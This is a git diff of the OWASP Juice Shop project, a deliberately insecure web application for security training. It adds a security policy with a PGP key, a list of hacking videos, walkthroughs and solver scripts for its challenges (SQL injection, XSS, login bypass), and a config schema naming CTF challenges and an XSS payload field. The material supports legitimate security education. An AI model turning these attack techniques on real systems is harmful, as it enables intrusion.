expected location described in +. Finding it is actually one of our hacking challenges! + +## Supported Versions + +We provide security patches for the latest released minor version. + +| Version | Supported | +|:--------|:-------------------| +| 14.3.x | :white_check_mark: | +| <14.3 | :x: | + +## Reporting a Vulnerability + +For vulnerabilities which are **not** part of any hacking challenge please contact . In all +other cases please contact our shop's "security team" at the address mentioned in the +`security.txt` accessible through the running application. + +> Instead of fixing reported vulnerabilities we might turn them into +> hacking challenges! You might receive a reward for reporting a +> vulnerability that makes it into one of our challenges! + +### Encrypted communication + +You can encrypt emails to with PGP using the public key `062A85A8CBFBDCDA`: + +``` +-----BEGIN PGP PUBLIC KEY BLOCK----- +Version: GnuPG v2 + +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 +1gCfSZuaBCqxOvuCKUJzqBdmGtBPs/Q= +=z48d +-----END PGP PUBLIC KEY BLOCK----- +``` diff --git a/SOLUTIONS.md b/SOLUTIONS.md new file mode 100644 index 00000000000..e1bcfb4c084 --- /dev/null +++ b/SOLUTIONS.md @@ -0,0 +1,161 @@ +# Solutions + +Did you write a guide specifically on hacking OWASP Juice Shop or record a hacking session of your own? Add it to this +file and open a PR! The same goes for any scripts or automated tools you made for making Juice Shop easier to hack! + +> :godmode: **Everything** mentioned on this specific page is considered +> to contain _spoilers for entire challenge solutions_ so the entries +> themselves are not individually tagged! You might not want to view +> anything from this page before tackling the related challenges +> yourself! :broken_heart: marks resources which rely on +> [_some form of cheating_](https://pwning.owasp-juice.shop/part1/rules.html#%E2%9D%8C-things-considered-cheating) +> to solve a challenge. +> +> 🧃 is followed by the last known major release of OWASP Juice Shop +> that a solution/script/tool is supposedly working with or that a video +> guide/solution was recorded for. + +## Hacking Videos + +* [How to Solve Juiceshop Challenges - Intern Talks](https://www.youtube.com/watch?v=dqxdbIWFD5c) by [Indian Servers University](https://www.youtube.com/c/IndianServersUniversity) (🧃`v11.x`) +* [Hacking the OWASP Juice Shop Series](https://www.youtube.com/playlist?list=PLcsrjMNFrcmbAFV8BxDKXZCcPrOlaYfWK) playlist of [Compass IT Compliance](https://www.youtube.com/channel/UCccfSU7EGGTS76hz2i6qdrg) (🧃`v12.x`) + * [Hacking the OWASP Juice Shop Series - Deploying the Juice Shop](https://youtu.be/qjrEMEztxWM) + * [Hacking the OWASP Juice Shop Series - Challenge #1 (Score Board)](https://youtu.be/3TKm5T0ul5Y) + * [Hacking the OWASP Juice Shop Series - Challenge #2 (DOM XSS)](https://youtu.be/qTm52tJu4i4) + * [Hacking the OWASP Juice Shop Series - Challenge #3 (Bonus Payload)](https://youtu.be/GoZbpBY6R1E) + * [Hacking the OWASP Juice Shop Series - Challenge #4 (Repetitive Registration)](https://youtu.be/hRF1StzaXo4) + * [Hacking the OWASP Juice Shop Series - Challenge #5 (Bully Chatbot)](https://youtu.be/dTm_55SUW88) + * [Hacking the OWASP Juice Shop Series - Challenge #6 (Confidential Document)](https://youtu.be/pt6a5-O90G4) + * [Hacking the OWASP Juice Shop Series - Challenge #7 (Error Handling)](https://youtu.be/aFJzZJcxVd8) + * [Hacking the OWASP Juice Shop Series - Challenge #8 (Exposed Metrics)](https://youtu.be/PuU2deMxj3E) + * [Hacking the OWASP Juice Shop Series - Challenge #9 (Missing Encoding)](https://youtu.be/40ndR8btKaU) + * [Hacking the OWASP Juice Shop Series - Challenge #10 (Outdated Allowlist)](https://youtu.be/diXuxUxLmXU) + * [Hacking the OWASP Juice Shop Series - Challenge #11 (Privacy Policy)](https://youtu.be/C3Qeyh3_xOA) + * [Hacking the OWASP Juice Shop Series - Challenge #12 (Zero Stars)](https://youtu.be/aJOvzpOdAC0) + * [Hacking the OWASP Juice Shop Series - Manage Heroku and Juice Shop](https://youtu.be/5jerMnM0vXw) +* [OWASP Juice Shop | TryHackMe Burp Suite Fundamentals](https://youtu.be/6n1pI9dJpW4) by [CyberInsight](https://www.youtube.com/channel/UCmJJUewPWfnyzvZRrFHlykA) +* [Wie werden APIs "gehackt" - API Sicherheit am Beispiel](https://youtu.be/wGtS5qQ0bC0) (:de:) + by + [predic8](https://www.youtube.com/channel/UC9ONq2LjrImWzWrWf6MYd2A) (🧃`v12.x`) +* [Hack OWASP Juice Shop](https://www.youtube.com/watch?v=0YSNRz0NRt8&list=PL8j1j35M7wtKXpTBE6V1RlN_pBZ4StKZw) + playlist of + [Hacksplained](https://www.youtube.com/channel/UCyv6ItVqQPnlFFi2zLxlzXA) + (🧃`v10.x` - `v11.x`) + * [★ Zero Stars](https://youtu.be/0YSNRz0NRt8) + * [★ Confidential Document](https://youtu.be/Yi7OiMtzGXc) + * [★ DOM XSS](https://youtu.be/BuVxyBo05F8) + * [★ Error Handling](https://youtu.be/WGafQnjSMk4) + * [★ Missing Encoding](https://youtu.be/W7Bt2AmYtao) + * [★ Outdated Allowlist](https://youtu.be/TEdZAXuTfpk) + * [★ Privacy Policy](https://youtu.be/f5tM_4vBq-w) + * [★ Repetitive Registration](https://youtu.be/mHjYOtKGYQM) + * [★★ Login Admin](https://youtu.be/LuU1fSuc7Gg) + * [★★ Admin Section](https://youtu.be/BPLhu354esc) + * [★★ Classic Stored XSS](https://youtu.be/dxzU6djocJQ) + * [★★ Deprecated Interface](https://youtu.be/yQ40B_eSj48) + * [★★ Five Star Feedback](https://youtu.be/9BsfRJA_-ik) + * [★★ Login MC SafeSearch](https://youtu.be/8VhGBdVK9ik) + * [★★ Password Strength](https://youtu.be/fnuz-3QM8ac) + * [★★ Security Policy](https://youtu.be/_h829JTNtKo) + * [★★ View Basket](https://youtu.be/hBbdxn3-aiU) + * [★★ Weird Crypto](https://youtu.be/GWJouiMUJno) + * [★★★ API-Only XSS](https://youtu.be/aGjLR4uc0ys) + * [★★★ Admin Registration](https://youtu.be/-H3Ngs-S0Ms) + * [★★★ Björn's Favorite Pet](https://youtu.be/a0k465G8Zkc) + * [★★★ Captcha Bypass](https://youtu.be/pgGVVOhIiaM) + * [★★★ Client-side XSS Protection](https://youtu.be/bNjsjs0T0_k) + * [★★★ Database Schema](https://youtu.be/0-D-e66U2Z0) + * [★★★ Forged Feedback](https://youtu.be/99iKTSkZ814) + * [★★★ Forged Review](https://youtu.be/k2abfhtuU9c) + * [★★★ GDPR Data Erasure](https://youtu.be/zBTYSpp41u8) + * [★★★ Login Amy](https://youtu.be/ICln3xcVxzI) + * [★★★ Login Bender](https://youtu.be/a6kh9fL77A0) + * [★★★ Login Jim](https://youtu.be/zJpJibswGWA) + * [★★★ Manipluate Basket](https://youtu.be/pdtDtmIiSOQ) + * [★★★ Payback Time](https://youtu.be/QN4f00VsXn4) + * [★★★ Privacy Policy Inspection](https://youtu.be/5DUXTmp5KbI) + * [★★★ Product Tampering](https://youtu.be/G4UKdotkyu8) + * [★★★ Reset Jim's Password](https://youtu.be/qYVlxeKVhgA) + * [★★★ Upload Size](https://youtu.be/5pcAPUihhWA) + * [★★★ Upload Type](https://youtu.be/4FPyMdyVt2s) + * [★★★★ Access Log (Sensitive Data Exposure)](https://youtu.be/RBTfGk-ZwnY) + * [★★★★ Ephemeral Accountant (SQL-Injection)](https://youtu.be/rD-_fRDHf9o) + * [★★★★ Expired Coupon (Improper Input Validation)](https://youtu.be/4cWTUdTvTZg) + * [★★★★ Forgotten Developer Backup (Sensitive Data Exposure)](https://youtu.be/YvkuVZ6r2Rg) + * [★★★★ Forgotten Sales Backup (Sensitive Data Exposure)](https://youtu.be/5g4WRASni6g) + * [★★★★ GDPR Data Theft (Sensitive Data Exposure)](https://youtu.be/GPW90c4Ahbc) + * [★★★★ Legacy Typosquatting (Vulnerable Components)](https://youtu.be/HqkGeWtwiHY) + * [★★★★ Login Bjoern (Broken Authentication)](https://youtu.be/pmBJ1ZAlpF8) + * [★★★★ Misplaced Signature File (Sensitive Data Exposure)](https://youtu.be/56qHiwxTjYY) + * [★★★★ Nested Easter Egg (Cryptographic Issues)](https://youtu.be/yvatrnWvcGE) + * [★★★★ NoSql Manipulation (Injection)](https://youtu.be/frymuDxKwmc) + :broken_heart: + * [★★★★★ Change Benders Password (Broken Authentication)](https://youtu.be/J3BSi-z9_7I) + * [★★★★★ Extra Language (Broken Anti Automation)](https://youtu.be/KU2LzxABetk) +* [Broken Authentication and SQL Injection - OWASP Juice Shop TryHackMe](https://youtu.be/W4MXUnZB2jc) + by + [Motasem Hamdan - CyberSecurity Trainer](https://www.youtube.com/channel/UCNSdU_1ehXtGclimTVckHmQ) +* Live Hacking von Online-Shop „Juice Shop” (:de:) + [Twitch live stream](https://www.twitch.tv/GregorBiswanger) recordings by + [Gregor Biswanger](https://www.youtube.com/channel/UCGMA9qDbIQ-EhgLD-ZrsHWw) + (🧃`v11.x`) + * [Level 1](https://youtu.be/ccy-eKYpdbk) + * [Level 2](https://youtu.be/KtMPEDJx0Sg) + * [Level 3](https://youtu.be/aqXfFVHJ91g) + * [Level 4](https://youtu.be/jfe-iEePlTc) +* [HackerOne #h1-2004 Community Day: Intro to Web Hacking - OWASP Juice Shop](https://youtu.be/KmlwIwG7Kv4) + by [Nahamsec](https://twitch.tv/nahamsec) including the creation of a + (fake) bugbounty report for all findings (🧃`v10.x`) +* [TryHackme - JuiceShop Walkthrough](https://youtu.be/3yYNvRVlKmo) by + [Profesor Parno](https://www.youtube.com/channel/UCcBThq4OKjox_kfPkG1BF0Q) + (🧃`v8.x`, 🇮🇩) +* [OWASP Juice Shop All Challenges Solved || ETHIKERS](https://youtu.be/Fjdhf6OHgRk) + full-spoiler, time-lapsed, no-commentary hacking trip (🧃`v8.x`) +* [Hacking JavaScript - Intro to Hacking Web Apps (Episode 3)](https://youtu.be/ejB1i5n_d7o) + by Arthur Kay (🧃`v8.x`) +* [HackerSploit](https://www.youtube.com/channel/UC0ZTPkdxlAKf-V33tqXwi3Q) + Youtube channel (🧃`v7.x`) + * [OWASP Juice Shop - SQL Injection](https://youtu.be/nH4r6xv-qGg) + * [Web App Penetration Testing - #15 - HTTP Attributes (Cookie Stealing)](https://youtu.be/8s3ChNKU85Q) + * [Web App Penetration Testing - #14 - Cookie Collection & Reverse Engineering](https://youtu.be/qtr0qtptYys) + * [Web App Penetration Testing - #13 - CSRF (Cross Site Request Forgery)](https://youtu.be/TwG0Rd0hr18) + * [How To Install OWASP Juice Shop](https://youtu.be/tvNKp1QXV_8) +* [7 Minute Security](https://7ms.us) Podcast (🧃`v2.x`) + * Episode #234: + [7MS #234: Pentesting OWASP Juice Shop - Part 5](https://7ms.us/7ms-234-pentesting-owasp-juice-shop-part5/) + ([Youtube](https://www.youtube.com/watch?v=lGVAXCfFwv0)) + * Episode #233: + [7MS #233: Pentesting OWASP Juice Shop - Part 4](https://7ms.us/7ms-233-pentesting-owasp-juice-shop-part-4/) + ([Youtube](https://www.youtube.com/watch?v=1hhd9EwX7h0)) + * Episode #232: + [7MS #232: Pentesting OWASP Juice Shop - Part 3](https://7ms.us/7ms-232-pentesting-owasp-juice-shop-part-3/) + ([Youtube](https://www.youtube.com/watch?v=F8iRF2d-YzE)) + * Episode #231: + [7MS #231: Pentesting OWASP Juice Shop - Part 2](https://7ms.us/7ms-231-pentesting-owasp-juice-shop-part-2/) + ([Youtube](https://www.youtube.com/watch?v=523l4Pzhimc)) + * Episode #230: + [7MS #230: Pentesting OWASP Juice Shop - Part 1](https://7ms.us/7ms-230-pentesting-owasp-juice-shop-part-1/) + ([Youtube](https://www.youtube.com/watch?v=Cz37iejTsH4)) + * Episode #229: + [7MS #229: Intro to Docker for Pentesters](https://7ms.us/7ms-229-intro-to-docker-for-pentesters/) + ([Youtube](https://youtu.be/WIpxvBpnylI?t=407)) + +### Walkthroughs + +* Blog post (:myanmar:) on [LOL Security](http://location-href.com/): + [Juice Shop Walkthrough](http://location-href.com/owasp-juice-shop-walkthroughs/) + (🧃`v2.x`) +* Blog post on [IncognitJoe](https://incognitjoe.github.io/): + [Hacking(and automating!) the OWASP Juice Shop](https://incognitjoe.github.io/hacking-the-juice-shop.html) + (🧃`v2.x`) + +### Scripts & Tools + +* [Session management script for OWASP Juice Shop](https://github.com/zaproxy/zaproxy/blob/master/zap/src/main/dist/scripts/templates/session/Juice%20Shop%20Session%20Management.js) + distributed as a scripting template with + [OWASP ZAP](https://github.com/zaproxy/zaproxy) since version 2.9.0 + (🧃`v10.x`) +* [Automated solving script for the OWASP Juice Shop](https://github.com/incognitjoe/juice-shop-solver) + written in Python by [@incognitjoe](https://github.com/incognitjoe) + (🧃`v2.x`) + diff --git a/TROUBLESHOOTING.md b/TROUBLESHOOTING.md deleted file mode 100644 index 8d29226b130..00000000000 --- a/TROUBLESHOOTING.md +++ /dev/null @@ -1,59 +0,0 @@ -# Troubleshooting [![Gitter](http://img.shields.io/badge/gitter-join%20chat-1dce73.svg)](https://gitter.im/bkimminich/juice-shop) - -## Node.js / NPM - -- After changing to a different Node.js version it is a good idea to - delete `npm_modules` and re-install all dependencies from scratch with - `npm install` -- If during `npm install` the `sqlite3` or `libxmljs` binaries cannot be - downloaded for your system, the setup falls back to building from - source with `node-gyp`. Check the - [`node-gyp` installation instructions](https://github.com/nodejs/node-gyp#installation) - for additional tools you might need to install (e.g. Python 2.7, GCC, - Visual C++ Build Tools etc.) -- If `npm install` fails on Ubuntu you might have to install a recent - version of Node.js and try again. -- If `npm install` runs into a `Unexpected end of JSON input` error you - might need to clean your NPM cache with `npm cache clean --force` and - then try again - -## Docker - -- If using Docker Toolbox on Windows make sure that you also enable port - forwarding from Host `127.0.0.1:3000` to `0.0.0.0:3000` for TCP for - the `default` VM in VirtualBox. - -## Vagrant - -- Using the Vagrant script (on Windows) might not work while your virus - scanner is running. This problem was experienced at least with - F-Secure Internet Security. - -## OAuth - -- If you are missing the _Login with Google_ button, you are running - OWASP Juice Shop under an unrecognized URL. **You can still solve the - OAuth related challenge!** If you want to manually make the OAuth - integration work to get the full user experience, follow these steps: - 1. Add your server URL to variable `authorizedRedirectURIs` in - `/frontend/src/app/login/login.component.ts` using your URL for - both the property name and value. - 2. Setup your own OAuth binding in Google - https://console.developers.google.com/apis/library by clicking - _Credentials_ and afterwards _Create credentials_. - 3. Update the `clientId` variable in `login.component.ts` to use your - new OAuth client id from Google. - 4. Re-deploy your server. You will now have the option to login with - Google on the login page. - -> One thing to note: Make sure that you setup the `redirect_uri` to -> match your app's URL. If you for some reason have to modify the -> `redirect_uri`, this gets cached on Google's end and takes longer than -> you'll want to wait to reset. - -## Miscellaneous - -- You may find it easier to find vulnerabilities using a pen test tool. - We strongly recommend - [Zed Attack Proxy](https://code.google.com/p/zaproxy/) which is open - source and very powerful, yet beginner friendly. diff --git a/app.js b/app.js deleted file mode 100644 index d40f8957669..00000000000 --- a/app.js +++ /dev/null @@ -1,3 +0,0 @@ -const server = require('./server') - -server.start() diff --git a/app.json b/app.json index e353a72e18e..cd05a4b8162 100644 --- a/app.json +++ b/app.json @@ -1,9 +1,6 @@ { "name": "OWASP Juice Shop", - "description": "An intentionally insecure JavaScript Web Application", - "website": "https://www.owasp.org/index.php/OWASP_Juice_Shop_Project", - "repository": "https://github.com/bkimminich/juice-shop", - "logo": "https://raw.githubusercontent.com/bkimminich/juice-shop/master/app/public/images/JuiceShop_Logo.png", + "description": "Probably the most modern and sophisticated insecure web application", "keywords": [ "web security", "web application security", @@ -15,6 +12,12 @@ "vulnerable", "vulnerability", "broken", - "bodgeit" - ] -} \ No newline at end of file + "bodgeit", + "ctf", + "capture the flag", + "awareness" + ], + "website": "https://owasp-juice.shop", + "repository": "https://github.com/juice-shop/juice-shop", + "logo": "https://raw.githubusercontent.com/juice-shop/juice-shop/master/frontend/src/assets/public/images/JuiceShop_Logo.png" +} diff --git a/app.ts b/app.ts new file mode 100644 index 00000000000..2e7f9c006fe --- /dev/null +++ b/app.ts @@ -0,0 +1,9 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +require('./lib/startup/validateDependencies')().then(() => { + const server = require('./server') + server.start() +}) diff --git a/config.schema.yml b/config.schema.yml new file mode 100644 index 00000000000..a9024b2065e --- /dev/null +++ b/config.schema.yml @@ -0,0 +1,699 @@ +server: + port: + type: number + basePath: + type: string +application: + domain: + type: string + name: + type: string + logo: + type: string + favicon: + type: string + theme: + type: string + showVersionNumber: + type: boolean + showGitHubLinks: + type: boolean + localBackupEnabled: + type: boolean + numberOfRandomFakeUsers: + type: number + altcoinName: + type: string + privacyContactEmail: + type: string + customMetricsPrefix: + type: string + chatBot: + name: + type: string + greeting: + type: string + trainingData: + type: string + defaultResponse: + type: string + avatar: + type: string + social: + twitterUrl: + type: string + facebookUrl: + type: string + slackUrl: + type: string + redditUrl: + type: string + pressKitUrl: + type: string + questionnaireUrl: + type: string + recyclePage: + topProductImage: + type: string + bottomProductImage: + type: string + welcomeBanner: + showOnFirstStart: + type: boolean + title: + type: string + message: + type: string + cookieConsent: + backgroundColor: + type: string + textColor: + type: string + buttonColor: + type: string + buttonTextColor: + type: string + message: + type: string + dismissText: + type: string + linkText: + type: string + linkUrl: + type: string + securityTxt: + contact: + type: string + encryption: + type: string + acknowledgements: + type: string + hiring: + type: string + promotion: + video: + type: string + subtitles: + type: string + easterEggPlanet: + name: + type: string + overlayMap: + type: string + googleOauth: + clientId: + type: string + authorizedRedirects: + - + uri: + type: string + proxy: + type: string +challenges: + showSolvedNotifications: + type: boolean + showHints: + type: boolean + showMitigations: + type: boolean + codingChallengesEnabled: + type: string + restrictToTutorialsFirst: + type: boolean + overwriteUrlForProductTamperingChallenge: + type: string + xssBonusPayload: + type: string + safetyOverride: + type: boolean + showFeedbackButtons: + type: boolean +hackingInstructor: + isEnabled: + type: boolean + avatarImage: + type: string + hintPlaybackSpeed: + type: string +products: + - + name: + type: string + price: + type: number + deluxePrice: + type: number + description: + type: string + image: + type: string + quantity: + type: number + limitPerUser: + type: number + deletedDate: + type: string + urlForProductTamperingChallenge: + type: string + useForChristmasSpecialChallenge: + type: boolean + keywordsForPastebinDataLeakChallenge: + - type: string + fileForRetrieveBlueprintChallenge: + type: string + exifForBlueprintChallenge: + - + type: string + reviews: + - + text: + type: string + author: + type: string +memories: + - + image: + type: string + caption: + type: string + user: + type: string + geoStalkingMetaSecurityQuestion: + type: number + geoStalkingMetaSecurityAnswer: + type: string + geoStalkingVisualSecurityQuestion: + type: number + geoStalkingVisualSecurityAnswer: + type: string +ctf: + showFlagsInNotifications: + type: boolean + showCountryDetailsInNotifications: + type: string + countryMapping: + scoreBoardChallenge: + name: + type: string + code: + type: string + errorHandlingChallenge: + name: + type: string + code: + type: string + forgedReviewChallenge: + name: + type: string + code: + type: string + loginAdminChallenge: + name: + type: string + code: + type: string + loginJimChallenge: + name: + type: string + code: + type: string + loginBenderChallenge: + name: + type: string + code: + type: string + localXssChallenge: + name: + type: string + code: + type: string + reflectedXssChallenge: + name: + type: string + code: + type: string + persistedXssUserChallenge: + name: + type: string + code: + type: string + persistedXssFeedbackChallenge: + name: + type: string + code: + type: string + restfulXssChallenge: + name: + type: string + code: + type: string + unionSqlInjectionChallenge: + name: + type: string + code: + type: string + weakPasswordChallenge: + name: + type: string + code: + type: string + feedbackChallenge: + 